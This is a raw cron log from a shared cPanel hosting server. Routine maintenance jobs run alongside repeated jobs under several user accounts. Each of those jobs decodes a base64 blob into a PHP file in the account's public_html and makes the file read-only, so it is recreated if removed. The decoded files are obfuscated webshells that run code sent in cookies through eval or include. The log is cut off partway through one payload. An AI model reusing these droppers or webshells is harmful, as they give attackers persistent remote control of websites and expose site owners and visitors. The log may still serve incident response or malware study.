Jun  7 03:50:02 medusa CROND[20604]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:50:02 medusa CROND[20585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:50:02 medusa CROND[20607]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:50:02 medusa CROND[20595]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 03:50:02 medusa CROND[20588]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:50:02 medusa CROND[20594]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 03:50:02 medusa CROND[20613]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:50:02 medusa CROND[20614]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:50:02 medusa CROND[20615]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:50:02 medusa CROND[20616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:50:02 medusa CROND[20622]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 03:50:02 medusa CROND[20623]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 03:50:02 medusa CROND[20624]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:50:02 medusa CROND[20621]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 03:50:02 medusa CROND[20610]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 03:50:02 medusa CROND[20608]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 03:50:02 medusa CROND[20617]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 03:50:02 medusa CROND[20637]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 03:50:02 medusa CROND[20639]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 03:51:01 medusa CROND[22449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:51:01 medusa CROND[22450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:51:01 medusa CROND[22452]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 03:51:01 medusa CROND[22451]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:51:01 medusa CROND[22453]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:51:01 medusa CROND[22455]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:51:01 medusa CROND[22454]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 03:51:01 medusa CROND[22458]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:51:01 medusa CROND[22459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:51:01 medusa CROND[22463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 03:51:01 medusa CROND[22464]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:51:01 medusa CROND[22466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:51:01 medusa CROND[22457]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:51:01 medusa CROND[22472]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:51:01 medusa CROND[22473]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 03:52:02 medusa CROND[24070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:52:02 medusa CROND[24074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:52:02 medusa CROND[24077]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:52:02 medusa CROND[24078]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:52:02 medusa CROND[24079]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSA